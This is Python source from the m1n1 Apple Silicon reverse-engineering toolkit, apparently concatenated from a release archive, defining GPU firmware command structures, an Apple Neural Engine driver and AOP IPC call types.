"stamp" / ROPointer(this.stamp_addr, StampCounter), "stamp_value" / Int32ul, "unk_18" / Int32ul, "buf_thing_addr" / Int64ul, "buf_thing" / ROPointer(this.buf_thing_addr, BufferThing), "buffer_mgr_addr" / Int64ul, "buffer_mgr" / ROPointer(this.buffer_mgr_addr, BufferManagerInfo), "unk_2c" / Int64ul, # 1 "stats_ptr" / Int64ul, "struct7_addr" / Int64ul, "struct7" / ROPointer(this.struct7_addr, Start3DStruct7), "busy_flag_ptr" / Int64ul, "cmdqueue_ptr" / Int64ul, "workitem_ptr" / Int64ul, "unk_5c" / Int64ul, "unk_buf_ptr" / Int64ul, # Same as Start3DCmd.unkptr_6c Ver("V >= V13_3", "unk_6c_0" / Int64ul), "unk_6c" / Int64ul, # 0 "unk_74" / Int64ul, # 0 "unk_7c" / Int64ul, # 0 "unk_84" / Int64ul, # 0 "unk_8c" / Int64ul, # 0 Ver("G == G14 && V < V13_0B4", "unk_8c_g14" / Int64ul), "restart_branch_offset" / Int32sl, "unk_98" / Int32ul, # 1 Ver("V >= V13_0B4", "unk_9c" / HexDump(Bytes(0x10))), ) class TilingParameters(ConstructClass): subcon = Struct( "size1" / Int32ul, "unk_4" / Int32ul, "unk_8" / Int32ul, "x_max" / Dec(Int16ul), "y_max" / Dec(Int16ul), "tile_count" / Int32ul, "x_blocks" / Int32ul, "y_blocks" / Int32ul, "size2" / Int32ul, "size3" / Int32ul, "unk_24" / Int32ul, "unk_28" / Int32ul, ) class StartTACmdStruct2(ConstructClass): subcon = Struct( "unk_0" / Hex(Int64ul), "unk_8" / Hex(Int32ul), "unk_c" / Hex(Int32ul), "tvb_tilemap" / Hex(Int64ul), Ver("G < G14", "tvb_cluster_tilemaps" / Hex(Int64ul)), "tpc" / Hex(Int64ul), "tvb_heapmeta_addr" / Hex(Int64ul), # like Start3DStruct2.tvb_end_addr with bit 63 set? "iogpu_unk_54" / Int32ul, "iogpu_unk_55" / Int32ul, "iogpu_unk_56" / Int64ul, Ver("G < G14", "tvb_cluster_meta1" / Int64ul), "unk_48" / Int64ul, "unk_50" / Int64ul, "tvb_heapmeta_addr2" / Int64ul, Ver("G < G14", "unk_60" / Int64ul), Ver("G < G14", "core_mask" / Int64ul), "iogpu_deflake_1" / Int64ul, "iogpu_deflake_2" / Int64ul, "unk_80" / Int64ul, "iogpu_deflake_3" / Int64ul, # bit 50 set "encoder_addr" / Int64ul, Ver("G < G14", "tvb_cluster_meta2" / Int64ul), Ver("G < G14", "tvb_cluster_meta3" / Int64ul), Ver("G < G14", "tiling_control" / Int64ul), "unk_b0" / Array(6, Hex(Int64ul)), "pipeline_base" / Int64ul, Ver("G < G14", "tvb_cluster_meta4" / Int64ul), Ver("G < G14", "unk_f0" / Int64ul), "unk_f8" / Int64ul, "helper_program" / Int32ul, # bit 0: enable "unk_104" / Int32ul, # 0 "helper_arg" / Int64ul, # stack layout "unk_110" / Hex(Int64ul), "unk_118" / Int32ul, Ver("G >= G14", ZPadding(8 * 9)), ) class StartTACmdStruct3(ConstructClass): subcon = Struct( "unk_480" / Array(6, Int32ul), "unk_498" / Int64ul, "unk_4a0" / Int32ul, "iogpu_deflake_1" / Int64ul, "unk_4ac" / Int32ul, "unk_4b0" / Int64ul, "unk_4b8" / Int32ul, "unk_4bc" / Int64ul, "unk_4c4_padding" / HexDump(Bytes(0x48)), "unk_50c" / Int32ul, "unk_510" / Int64ul, "unk_518" / Int64ul, "unk_520" / Int64ul, "unk_528" / Int32ul, "unk_52c" / Int32ul, "unk_530" / Int32ul, "encoder_id" / Int32ul, "unk_538" / Int32ul, "unk_53c" / Int32ul, "unknown_buffer" / Int64ul, "unk_548" / Int64ul, "unk_550" / Array(6, Int32ul), "stamp1_addr" / WrappedPointer, # same contents as below "stamp1" / ROPointer(this.stamp1_addr.value, StampCounter), "stamp2_addr" / WrappedPointer, # same as FinalizeComputeCmd.stamp - some kind of fence/token "stamp2" / ROPointer(this.stamp2_addr.value, StampCounter), "stamp_value" / Int32ul, "ev_ta" / Int32ul, "evctl_index" / Int32ul, # 0-3 "unk_584" / Int32ul, "uuid2" / Int32ul, "queue_cmd_count" / Int32ul, "unk_590" / Int32ul, ) def __init__(self): super().__init__() self.stamp1_addr = StampCounter() self.stamp2_addr = StampCounter() class StartTACmd(ConstructClass): subcon = Struct( "magic" / Const(0x22, Int32ul), "tiling_params_addr" / Int64ul, "struct2_addr" / Int64ul, Ver("G >= G14X", "registers_addr" / Int64ul), "buffer_mgr_addr" / Int64ul, "buffer_mgr" / ROPointer(this.buffer_mgr_addr, BufferManagerInfo), "buf_thing_addr" / Int64ul, "buf_thing" / ROPointer(this.buf_thing_addr, BufferThing), "stats_ptr" / Int64ul, "cmdqueue_ptr" / Int64ul, "context_id" / Int32ul, "unk_38" / Int32ul, "submission_id" / Int32ul, "buffer_mgr_slot" / Int64ul, "unk_48" / Int64ul, "unk_50" / Int32ul, "struct3_addr" / Int64ul, "unkptr_5c" / Int64ul, "unk_5c" / ROPointer(this.unkptr_5c, HexDump(Bytes(0x18))), "unk_64" / Int32ul, "unk_68" / Int32ul, "uuid" / Int32ul, "unk_70" / Int32ul, "unk_74" / Array(29, Int64ul), "unk_15c" / Int32ul, "unk_160" / Int64ul, "unk_168" / Int32ul, "unk_16c" / Int32ul, "unk_170" / Int64ul, Ver("V >= V13_0B4", "counter" / Int64ul), Ver("V >= V13_0B4", "unkptr_180" / Int64ul), "unk_178" / Int32ul, ) class FinalizeTACmd(ConstructClass): subcon = Struct( "magic" / Const(0x23, Int32ul), "buf_thing_addr" / Int64ul, "buf_thing" / ROPointer(this.buf_thing_addr, BufferThing), "buffer_mgr_addr" / Int64ul, "buffer_mgr" / ROPointer(this.buffer_mgr_addr, BufferManagerInfo), "stats_ptr" / Int64ul, "cmdqueue_ptr" / Int64ul, # "context_id" / Int32ul, "unk_28" / Int32ul, "struct3_addr" / Int64ul, "unk_34" / Int32ul, "uuid" / Int32ul, "stamp_addr" / Int64ul, "stamp" / ROPointer(this.stamp_addr, StampCounter), "stamp_value" / Int32ul, "unk_48" / Int64ul, "unk_50" / Int32ul, "unk_54" / Int32ul, "unk_58" / Int64ul, "unk_60" / Int32ul, "unk_64" / Int32ul, "unk_68" / Int32ul, Ver("G == G14 && V < V13_0B4", "unk_6c_g14" / Int64ul), "restart_branch_offset" / Int32sl, "unk_70" / Int32ul, Ver("V >= V13_0B4", "unk_74" / HexDump(Bytes(0x10))), ) class ComputeArgs(ConstructClass): subcon = Struct( unk = Bytes(0x7fa0), arg_buffers = Array(8, Int64ul), threadgroups_per_grid_addr = Int64ul, threads_per_threadgroup_addr = Int64ul, ) class JobMeta(ConstructClass): subcon = Struct( "unk_0" / Int32ul, "stamp_addr" / WrappedPointer, # same contents as below "stamp" / ROPointer(this.stamp_addr.value, StampCounter), "fw_stamp_addr" / WrappedPointer, # same as FinalizeComputeCmd.stamp - some kind of fence/token "stamp" / ROPointer(this.fw_stamp_addr.value, StampCounter), "stamp_value" / Int32ul, "stamp_slot" / Int32ul, "evctl_index" / Int32ul, "unk_20" / Int32ul, "uuid" / Int32ul, "queue_cmd_count" / Int32ul, ) class EncoderParams(ConstructClass): subcon = Struct( "unk_0" / Int32ul, "unk_4" / Int32ul, "unk_8" / Int32ul, "encoder_id" / Int32ul, "unk_10" / Int32ul, "iogpu_compute_unk44" / Int32ul, "seq_buffer" / Int64ul, "unk_1c" / Int64ul, ) class ComputeLayout(ConstructClass): subcon = Struct( "unk_0" / Int32ul, "unk_4" / HexDump(Bytes(0x20)), "blocks_per_core" / Int32ul, "unk_28" / HexDump(Bytes(0x1c)), "core_list" / Array(160, Int16ul), "work_lists" / Array(8, Array(272, Array(4, Int32ul))), # Least significant byte encoding # 7654 3210 # ==== ==== # 0000 0000 - invalid # aaaa aa01 - Block size 0x400 or continuation # aaaa 0011 - Block size 0x1000 # aa00 0111 - Block size 0x4000 # 0000 1111 - Block size 0x10000 # 0001 1111 - Block size 0x40000 # 0011 1111 - Block size 0x100000? (not seen) # 0111 1111 - Block size 0x400000 ) class ComputeInfo(ConstructClass): # Only the cmdlist and pipelinebase and cmdlist fields are strictly needed to launch a basic # compute shader. subcon = Struct( # 0x1c bytes "iogpu_deflake_1" / Int64ul, # ComputeArgs "encoder" / Int64ul, # CommandList from userspace "iogpu_deflake_2" / Int64ul, # size 8, null "iogpu_deflake_3" / Int64ul, # size 8, null "iogpu_deflake_4" / Int64ul, # size 8, null "iogpu_deflake_5" / Int64ul, # size 8, null "pipeline_base" / Int64ul, # 0x11_00000000: Used for certain "short" pointers like pipelines (and shaders?) "unk_38" / Int64ul, # always 0x8c60 "helper_program" / Int32ul, # 0x98000; bit 0: enable "unk_44" / Int32ul, # 0 "helper_arg" / Int64ul, # work layout "unk_50" / Int32ul, # 0x40 - Size? only if work layout is provided "unk_54" / Int32ul, # 0 "unk_58" / Int32ul, # 1 "unk_5c" / Int32ul, # 0 "iogpu_unk_40" / Int32ul, # 0x1c "unk_pad" / ZPadding(0xec), ) # Related to "IOGPU Misc" class ComputeInfo2(ConstructClass): subcon = Struct( Ver("V >= V13_0B4", "unk_0_0" / ZPadding(4)), "unk_0" / HexDump(Bytes(0x24)), "iogpu_deflake_1" / Int64ul, "encoder_end" / Int64ul, "unk_34" / HexDump(Bytes(0x20)), "unk_g14x" / Int32ul, "unk_58" / Int32ul, Ver("V < V13_0B4", "unk_5c" / ZPadding(4)), ) class StartComputeCmd(ConstructClass): subcon = Struct( "magic" / Const(0x29, Int32ul), "unk_buf_addr" / Int64ul, # Pointer to WorkCommandCP.unk_buf "computeinfo_addr" / Int64ul, Ver("G >= G14X", "registers_addr" / Int64ul), "stats_ptr" / Int64ul, "cmdqueue_ptr" / Int64ul, "context_id" / Int32ul, # 4 "unk_28" / Int32ul, # 1 "counter1" / Int32ul, "counter2" / Int32ul, "unk_34" / Int32ul, "unk_38" / Int32ul, "computeinfo2_addr" / Int64ul, "computeinfo2" / ROPointer(this.computeinfo2_addr, ComputeInfo2), "unk_44" / Int32ul, "uuid" / Int32ul, "attachments" / Array(16, Attachment), "num_attachments" / Int32ul, "padding" / Bytes(4), Ver("V >= V13_0B4", "unk_flag_addr" / Int64ul), Ver("V >= V13_0B4", "counter" / Int64ul), Ver("V >= V13_0B4", "event_ctrl_buf_addr" / Int64ul), ) class FinalizeComputeCmd(ConstructClass): subcon = Struct( # 0x64 bytes'''' "magic" / Const(0x2a, Int32ul), "unkptr_4" / Int64ul, # same as ComputeStartCmd.unkptr_14 "cmdqueue_ptr" / Int64ul, # points back to the submitinfo "context_id" / Int32ul, Ver("V < V13_0B4", "unk_18" / Int32ul), "computeinfo2_addr" / Int64ul, # same as ComputeStartCmd.unkptr_3c "unk_24" / Int32ul, "uuid" / Int32ul, # uuid for tracking? "stamp" / Int64ul, "stamp_value" / Int32ul, # Gets written to unkptr_2c (after stamp?) "unk_38" / Int32ul, "unk_3c" / Int32ul, "unk_40" / Int32ul, "unk_44" / Int32ul, "unk_48" / Int32ul, "unk_4c" / Int32ul, "unk_50" / Int32ul, "unk_54" / Int32ul, "unk_58" / Int32ul, Ver("G == G14 && V < V13_0B4", "unk_5c_g14" / Int64ul), "restart_branch_offset" / Int32sl, # relative offset from start of Finalize to StartComputeCmd "unk_60" / Int32ul, Ver("V >= V13_0B4", "unk_64" / HexDump(Bytes(0xd))), Ver("V >= V13_0B4", "unkptr_71" / Int64ul), Ver("V >= V13_0B4", "pad_79" / ZPadding(7)), ) class BlitInfo(ConstructClass): subcon = Struct( "unk_18" / Int64ul, "unk_20" / Int64ul, "unk_28" / Int64ul, "unk_30" / Int64ul, "unk_38" / Int64ul, "unk_40" / Int64ul, "unk_48" / HexDump(Bytes(0xa0)), "unkptr_e8" / Int64ul, "unk_f0" / Int64ul, "unkptr_f8" / Int64ul, "pipeline_base" / Int64ul, "unk_108" / Int64ul, "unk_110" / HexDump(Bytes(0x248)), "unk_358" / Int32ul, "unk_35c" / Int32ul, "unk_360" / Int32ul, "unk_364" / Int32ul, "unk_368" / Float32l, "unk_36c" / Float32l, "unk_370" / Int64ul, "unk_378" / Int64ul, "unk_380" / Int64ul, "unk_388" / Int64ul, "unk_390" / HexDump(Bytes(0xa8)), ) class BlitInfo2(ConstructClass): subcon = Struct( "unk_0" / HexDump(Bytes(0x24)), "unk_24" / Int64ul, "unk_470" / Int64ul, "unk_478" / Int32ul, "unk_47c" / Int32ul, "unk_480" / Int64ul, "unk_488" / Int64ul, ) class StartBlitCmd(ConstructClass): subcon = Struct( "magic" / Const(0x26, Int32ul), "unkptr_4" / Int64ul, "unkptr_c" / Int64ul, "registers_addr" / Int64ul, Ver("G >= G14X", "unk_1c_0" / Int32ul), "unkptr_1c" / Int64ul, "unkptr_24" / Int64ul, "context_id" / Int32ul, "unk_30" / Int32ul, "submission_id" / Int32ul, "unk_38" / Int32ul, "unk_3c" / Int32ul, "unk_40" / Int32ul, "unkptr_44" / Int64ul, "unkptr_4c" / Int64ul, "uuid" / Int32ul, Ver("G < G14X", "unk_2c" / Int32ul), "attachments" / Array(16, Attachment), "num_attachments" / Int32ul, "unk_160" / Int32ul, Ver("V >= V13_0B4", "counter" / Int64ul), Ver("V >= V13_0B4", "unkptr_19c" / Int64ul), ) class FinalizeBlitCmd(ConstructClass): subcon = Struct( "magic" / Const(0x27, Int32ul), "unkptr_4" / Int64ul, "unkptr_c" / Int64ul, "context_id" / Int32ul, "unk_18" / Int32ul, "unkptr_1c" / Int64ul, "uuid" / Int32ul, Ver("V < V13_3", "unk_28" / Int32ul), "stamp_addr" / Int64ul, "stamp" / ROPointer(this.stamp_addr, StampCounter), "stamp_value" / Int32ul, "unk_38" / HexDump(Bytes(0x24)), "restart_branch_offset" / Int32sl, # relative "unk_60" / Int32ul, Ver("V >= V13_0B4", "unk_5d8_0" / Int32ul), Ver("V >= V13_0B4", "unk_5d8_4" / Int8ul), Ver("V >= V13_0B4", "evctl_buf_addr" / Int64ul), Ver("V >= V13_0B4", "unk_5d8_4" / Array(3, Int8ul)), Ver("V >= V13_0B4", "unk_0" / Int32ul), Ver("V >= V13_0B4", "unkptr_1" / Int64ul), Ver("V >= V13_0B4", "unkptr_2" / Int64ul), Ver("V >= V13_0B4", "unkptr_3" / Int64ul), Ver("V >= V13_0B4", "unkptr_4" / Int64ul), Ver("V >= V13_0B4", "unkptr_5" / Int64ul), Ver("V >= V13_0B4", "unk_9c" / Int64ul), Ver("V >= V13_0B4", "unkptr_6" / Int64ul), Ver("V >= V13_0B4", "unk_ac" / HexDump(Bytes(0x30))), Ver("V >= V13_0B4", "unk_dc" / Int32ul), Ver("V >= V13_0B4", "unk_e0" / HexDump(Bytes(0x14))), ) class EndCmd(ConstructClass): subcon = Struct( "magic" / Const(0x18, Int8ul), "unk_1" / Int8ul, "unk_2" / Int8ul, "flags" / Int8ul, ) def __init__(self): super().__init__() self.unk_1 = 0 self.unk_2 = 0 self.flags = 0x40 class TimestampCmd(ConstructClass): subcon = Struct( # 0x34 bytes "magic" / Const(0x19, Int8ul), "unk_1" / Int8ul, "unk_2" / Int8ul, "unk_3" / Int8ul, # Sometimes 0x80 # all these pointers point to 0xfa0... addresses. Might be where the timestamp should be writen? "ts0_addr" / Int64ul, "ts0" / ROPointer(this.ts0_addr, TimeStamp), "ts1_addr" / Int64ul, "ts1" / ROPointer(this.ts1_addr, TimeStamp), "ts2_addr" / Int64ul, "ts2" / ROPointer(this.ts2_addr, TimeStamp), "cmdqueue_ptr" / Int64ul, "unk_24" / Int64ul, Ver("V >= V13_0B4", "unk_ts_addr" / Int64ul), "uuid" / Int32ul, "unk_30_padding" / Int32ul, ) class WaitForInterruptCmd(ConstructClass): subcon = Struct( "magic" / Const(0x01, Int8ul), "unk_1" / Int8ul, "unk_2" / Int8ul, "unk_3" / Int8ul, ) def __init__(self, unk_1, unk_2, unk_3): super().__init__() self.unk_1 = unk_1 self.unk_2 = unk_2 self.unk_3 = unk_3 class Wait2Cmd(ConstructClass): subcon = Struct( "magic" / Const(0x02, Int32ul), ) class NopCmd(ConstructClass): # This doesn't exist subcon = Struct( "magic" / Const(0x00, Int32ul), ) def __str__(self) -> str: return "Nop" class Write32Cmd(ConstructClass): subcon = Struct( "magic" / Const(0x0e, Int8ul), "unk_1" / Int8ul, "unk_2" / Int8ul, "unk_3" / Int8ul, "addr" / Int64ul, "val" / Int32ul, ) def __init__(self, addr, val): super().__init__() self.unk_1 = self.unk_2 = 0 self.unk_3 = 0x20 self.addr = addr self.val = val class Store32Cmd(ConstructClass): subcon = Struct( "magic" / Const(0x0e, Int8ul), "unk_1" / Int8ul, "unk_2" / Int8ul, "unk_3" / Int8ul, "addr" / Int64ul, ) def __init__(self, addr): super().__init__() self.unk_1 = self.unk_2 = self.unk_3 = 0 self.addr = addr class Store64Cmd(ConstructClass): subcon = Struct( "magic" / Const(0x0f, Int8ul), "unk_1" / Int8ul, "unk_2" / Int8ul, "unk_3" / Int8ul, "addr" / Int64ul, ) def __init__(self, addr): super().__init__() self.unk_1 = self.unk_2 = self.unk_3 = 0 self.addr = addr class Write64Cmd(ConstructClass): subcon = Struct( "magic" / Const(0x0f, Int8ul), "unk_1" / Int8ul, "unk_2" / Int8ul, "unk_3" / Int8ul, "addr" / Int64ul, "val" / Int64ul, ) def __init__(self, addr, val): super().__init__() self.unk_1 = self.unk_2 = 0 self.unk_3 = 0x20 self.addr = addr self.val = val class Read32Cmd(ConstructClass): subcon = Struct( "magic" / Const(0x10, Int8ul), "unk_1" / Int8ul, "unk_2" / Int8ul, "unk_3" / Int8ul, "addr" / Int64ul, ) def __init__(self, addr): super().__init__() self.unk_1 = self.unk_2 = self.unk_3 = 0 self.addr = addr class Read64Cmd(ConstructClass): subcon = Struct( "magic" / Const(0x11, Int8ul), "unk_1" / Int8ul, "unk_2" / Int8ul, "unk_3" / Int8ul, "addr" / Int64ul, ) def __init__(self, addr): super().__init__() self.unk_1 = self.unk_2 = self.unk_3 = 0 self.addr = addr class ALUCmd(ConstructClass): AND = 0 OR = 1 XOR = 2 LSR = 3 LSL = 4 subcon = Struct( "magic" / Const(0x16, Int8ul), "v1" / Int8ul, "op" / Int16ul, "arg" / Int64ul, ) def __init__(self, op, arg): super().__init__() self.v1 = 0 self.op = (op << 3) | (2 << 11) self.arg = arg class Add16Cmd(ConstructClass): subcon = Struct( "magic" / Const(0x17, Int8ul), "arg1" / Int16ul, "arg2" / Int8ul, ) def __init__(self, arg): super().__init__() self.arg1 = (arg << 3) & 0xffff self.arg2 = arg >> 13 class CompleteCmd(ConstructClass): subcon = Struct( "magic" / Const(0x2b, Int8ul), ZPadding(3), "unk" / Int64ul, "stamp_addr" / Int64ul, "stamp_val" / Int32ul, "pad" / ZPadding(0x14), ) def __init__(self): super().__init__() self.unk = 0 class AbortCmd(ConstructClass): subcon = Struct( "magic" / Const(0x2c, Int8ul), ZPadding(3), "bits" / Int32ul, "unk1" / Int32ul, "unk2" / Int64ul, "unk3" / Int64ul, "stamp_addr" / Int64ul, "stamp_val" / Int32ul, "pad" / ZPadding(0x14), ) def __init__(self): super().__init__() self.bits = 0 self.unk1 = 0 self.unk2 = 0 self.unk3 = 0 class DoorbellCmd(ConstructClass): subcon = Struct( "magic" / Const(0x03, Int8ul), "pad" / Int8ul, "arg" / Int16ul, ) def __init__(self, flags): super().__init__() self.pad = 0 self.arg = flags << 10 class MicroSequence(ConstructValueClass): subcon = RepeatUntil(lambda obj, lst, ctx: lst[-1].op & 0x3f in (0x18, 0x2b, 0x2c), Struct( "op" / Peek(Int32ul), #Probe(lookahead=32), "cmd" / Switch(this.op & 0x3f, { 0x01: WaitForInterruptCmd, 0x02: Wait2Cmd, 0x03: DoorbellCmd, #0x04: write sgx u8 #0x05: write sgx u32 #0x06: write sgx u64 #0x07: AGFSKUCommandTypeRegWriteStream not supported #0x08: read sgx u8 #0x09: read sgx u32 #0x0a: read sgx u64 #0x0b: wait sgx reg u32 #0x0c: wait sgx reg u64 #0x0d: AGFSKUCommandTypeJump not supported 0x0e: Switch(this.op >> 28, { 0: Store32Cmd, 2: Write32Cmd, }), 0x0f: Switch(this.op >> 28, { 0: Store64Cmd, 2: Write64Cmd, }), 0x10: Read32Cmd, 0x11: Read64Cmd, 0x16: ALUCmd, 0x17: Add16Cmd, 0x18: EndCmd, 0x19: TimestampCmd, #0x1a: KTraceCmd, 0x22: StartTACmd, 0x23: FinalizeTACmd, 0x24: Start3DCmd, 0x25: Finalize3DCmd, 0x26: StartBlitCmd, 0x27: FinalizeBlitCmd, 0x29: StartComputeCmd, 0x2a: FinalizeComputeCmd, 0x2b: CompleteCmd, 0x2c: AbortCmd, }, default=Error) ) ) def __str__(self): s = "{\n" for cmd in self.value: s += str(cmd.cmd) + '\n' if isinstance(cmd.cmd, (EndCmd, CompleteCmd)): s += "}\n" break else: s += "?\n" return s __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) m1n1-1.4.11/proxyclient/m1n1/fw/ane.py000066400000000000000000000127571453754430200172620ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from m1n1.hw.dart import DART from m1n1.hw.ane import ANERegs, ANEDARTRegs, ANETaskManager class ANE: PAGE_SIZE = 0x4000 TILE_SIZE = 0x4000 def __init__(self, u): self.u = u self.p = u.proxy self.name = "ane" self.p.pmgr_adt_clocks_enable(f'/arm-io/{self.name}') self.p.pmgr_adt_clocks_enable(f'/arm-io/dart-{self.name}') self.base_addr = u.adt[f'arm-io/{self.name}'].get_reg(0)[0] self.regs = ANERegs(self.u, self.base_addr) self.apply_static_tunables() ps_map = { "ane": 0x023b70c000, "ane0": 0x028e08c000, "ane1": 0x028e684000, "ane2": 0x228e08c000, "ane3": 0x228e684000, } self.ps_base_addr = ps_map[self.name] # we need a slight patch to dart self.dart = DART.from_adt(u, path=f'/arm-io/dart-{self.name}', instance=0, iova_range=(0x4000, 0xe0000000)) self.dart.initialize() dart_regs = [] for prop in range(3): dart_addr = self.u.adt[f'/arm-io/dart-{self.name}'].get_reg(prop)[0] dart_regs.append(ANEDARTRegs(self.u, dart_addr)) self.dart_regs = dart_regs # hack to initialize base ttbr phys = self.u.memalign(self.PAGE_SIZE, self.PAGE_SIZE) self.dart.iomap_at(0, 0x0, phys, self.PAGE_SIZE) self.ttbr0_addr = self.dart.regs.TTBR[0, 0].val self.dart_regs[1].TTBR[0, 0].val = self.ttbr0_addr # DMA fails w/o self.dart_regs[2].TTBR[0, 0].val = self.ttbr0_addr # DMA fails w/o self.allocator = ANEAllocator(self) self.fw = ANEFirmware(self) self.tm = ANETaskManager(self) def apply_static_tunables(self): # this cost me a solid week static_tunables_map = [ (0x0, 0x10), (0x38, 0x50020), (0x3c, 0xa0030), (0x400, 0x40010001), (0x600, 0x1ffffff), (0x738, 0x200020), (0x798, 0x100030), (0x7f8, 0x100000a), (0x900, 0x101), (0x410, 0x1100), (0x420, 0x1100), (0x430, 0x1100)] for (offset, value) in static_tunables_map: self.p.write32(self.base_addr + offset, value) def power_up(self): self.p.pmgr_adt_clocks_enable(f'/arm-io/{self.name}') self.p.pmgr_adt_clocks_enable(f'/arm-io/dart-{self.name}') self.power_down() for offset in range(0x0, 0x30+0x8, 0x8): self.p.write32(self.ps_base_addr + offset, 0xf) self.tm.reset() def power_down(self): for offset in reversed(range(0x0, 0x30+0x8, 0x8)): self.p.write32(self.ps_base_addr + offset, 0x300) def ioread(self, iova, size): return self.dart.ioread(0, iova & 0xffffffff, size) def iowrite(self, iova, buf): self.dart.iowrite(0, iova & 0xffffffff, buf) def round_up(self, x, y): return ((x+(y-1)) & (-y)) class ANEBuffer: def __init__(self, mapid, phys, iova, size): self.mapid = mapid self.phys = phys self.iova = iova self.size = size class ANEAllocator: def __init__(self, ane): self.ane = ane self.mapid = 0 self.map = {} def alloc_size(self, size): size = self.ane.round_up(size, self.ane.PAGE_SIZE) phys = self.ane.u.memalign(self.ane.PAGE_SIZE, size) self.ane.p.memset32(phys, 0, size) iova = self.ane.dart.iomap(0, phys, size) buf = ANEBuffer(self.mapid, phys, iova, size) self.map[self.mapid] = buf print("mapid %d: mapped phys 0x%x to iova 0x%06x for data w/ size 0x%06x" % (buf.mapid, buf.phys, buf.iova, buf.size)) self.mapid += 1 return buf.iova def alloc_data(self, data): iova = self.alloc_size(len(data)) self.ane.iowrite(iova, data) return iova def dump_map(self): for mapid in self.map: buf = self.map[mapid] print('mapid %d: phys 0x%x, iova 0x%x, size 0x%x' % (buf.mapid, buf.phys, buf.iova, buf.size)) class ANEEngineReq: def __init__(self, anec): self.anec = anec self.td_size = 0 self.td_count = 0 self.fifo_iova = 0 self.nid = 0 self.qid = 0 self.bar = [0x0] * 0x20 class ANEFirmware: FIFO_NID = 0x40 FIFO_COUNT = 0x20 FIFO_WIDTH = 0x400 # nextpow2(0x274) def __init__(self, ane): self.ane = ane def setup(self, anec): req = ANEEngineReq(anec) req.td_size = anec.td_size req.td_count = anec.td_count # setup immutable bar tsk_buf = anec.data[anec.tsk_start:anec.tsk_start+anec.tsk_size] req.bar[0] = self.ane.allocator.alloc_data(tsk_buf) krn_start = anec.tsk_start + self.ane.round_up(anec.tsk_size, 0x10) krn_buf = anec.data[krn_start:krn_start+anec.krn_size] req.bar[1] = self.ane.allocator.alloc_data(krn_buf) # setup mutable bar for bdx in range(0x20): if ((anec.tiles[bdx]) and (bdx >= 3)): size = anec.tiles[bdx] * self.ane.TILE_SIZE req.bar[bdx] = self.ane.allocator.alloc_size(size) self.make_fifo(req) return req def make_fifo(self, req): anec = req.anec pool_size = self.ane.round_up(self.FIFO_WIDTH * 2, self.ane.TILE_SIZE) fifo_iova = self.ane.allocator.alloc_size(pool_size) td_buf = anec.data[anec.tsk_start:anec.tsk_start+anec.td_size] fifo_head = self.set_nid(td_buf, self.FIFO_NID) fifo_tail = self.set_nid(td_buf, self.FIFO_NID + self.FIFO_COUNT) self.ane.iowrite(fifo_iova, fifo_head) self.ane.iowrite(fifo_iova + self.FIFO_WIDTH, fifo_tail) req.fifo_iova = fifo_iova req.nid = self.FIFO_NID req.qid = 4 # just the default queue def set_nid(self, td_buf, nid): hdr0 = struct.unpack(' len(self.blob): raise ValueError('blob overran during parsing') return dict(fields) def items(self): for key, span in self.index.items(): off, length = span yield key, self.blob[off:off + length] def __getitem__(self, key): off, length = self.index[key] return bytes(self.blob[off:off + length]) def __setitem__(self, key, value): off, length = self.index[key] if type(value) is int: value = int.to_bytes(value, length, byteorder='little') elif type(value) is str: value = value.encode('ascii') if len(value) > length: raise ValueError(f'field {key:s} overflown') self.blob[off:off + length] = value def update(self, keyvals): for key, val in keyvals.items(): self[key] = val def keys(self): return self.index.keys() def dump(self): for key, val in self.items(): print(f"{key:4s} = {val}") def dump_diff(self, other, logger): assert self.index == other.index for key in self.keys(): if self[key] != other[key]: logger(f"\t{key:4s} = {self[key]} -> {other[key]}") def to_bytes(self): return bytes(self.blob) m1n1-1.4.11/proxyclient/m1n1/fw/aop/ipc.py000066400000000000000000000235601453754430200200430ustar00rootroot00000000000000from enum import IntEnum from construct import * from io import BytesIO from m1n1.utils import FourCC, chexdump from m1n1.constructutils import ZPadding from m1n1.fw.afk.epic import EPICCmd, EPICCategory EPICSubHeaderVer2 = Struct( "length" / Int32ul, "version" / Default(Int8ul, 2), "category" / EPICCategory, "type" / Hex(Int16ul), "timestamp" / Default(Int64ul, 0), "unk1" / Default(Hex(Int32ul), 0), "unk2" / Default(Hex(Int32ul), 0), ) class AOPAudioPropKey(IntEnum): IS_READY = 0x01 UNK_11 = 0x11 PLACEMENT = 0x1e UNK_21 = 0x21 ORIENTATION = 0x2e LOCATION_ID = 0x30 SERIAL_NO = 0x3e VENDOR_ID = 0x5a PRODUCT_ID = 0x5b SERVICE_CONTROLLER = 0x64 DEVICE_COUNT = 0x65 VERSION = 0x67 class EPICCall: @classmethod def matches(cls, hdr, sub): return int(sub.type) == cls.TYPE def _args_fixup(self): pass def __init__(self, *args, **kwargs): if args: self.args = args[0] else: self.args = Container(**kwargs) self._args_fixup() self.rets = None @classmethod def from_stream(cls, f): return cls(cls.ARGS.parse_stream(f)) def dump(self, logger=None): if logger is None: logger = print args_fmt = [f"{k}={v}" for (k, v) in self.args.items() if k != "_io"] rets_fmt = [f"{k}={v}" for (k, v) in self.rets.items() if k != "_io"] logger(f"{type(self).__name__}({', '.join(args_fmt)}) -> ({', '.join(rets_fmt)})") def read_resp(self, f): self.rets = self.RETS.parse_stream(f) CALLTYPES = [] def reg_calltype(calltype): CALLTYPES.append(calltype) return calltype @reg_calltype class GetHIDDescriptor(EPICCall): TYPE = 0x1 ARGS = Struct( "blank" / Const(0x0, Int32ul), ) RETS = Struct( "retcode" / Default(Hex(Int32ul), 0), "descriptor" / HexDump(GreedyBytes), ) @reg_calltype class GetProperty(EPICCall): TYPE = 0xa ARGS = Struct( "blank" / Const(0x0, Int32ul), "key" / Enum(Int32ul, AOPAudioPropKey), ) RETS = Struct( #"blank" / Const(0x0, Int32ul), "value" / GreedyBytes, ) @reg_calltype class WrappedCall(EPICCall): SUBCLASSES = {} TYPE = 0x20 HDR = Struct( "blank" / Const(0x0, Int32ul), "unk1" / Hex(Const(0xffffffff, Int32ul)), "calltype" / Hex(Int32ul), "blank2" / ZPadding(16), "pad" / Hex(Int32ul), "len" / Hex(Int64ul), "residue" / HexDump(GreedyBytes), ) @classmethod def from_stream(cls, f): payload = f.read() subsub = cls.HDR.parse(payload) calltype = int(subsub.calltype) subcls = cls.SUBCLASSES.get(calltype, None) if subcls is None: raise ValueError(f"unknown calltype {calltype:#x}") return subcls(subcls.ARGS.parse(payload)) @classmethod def reg_subclass(cls, cls2): cls.SUBCLASSES[int(cls2.CALLTYPE)] = 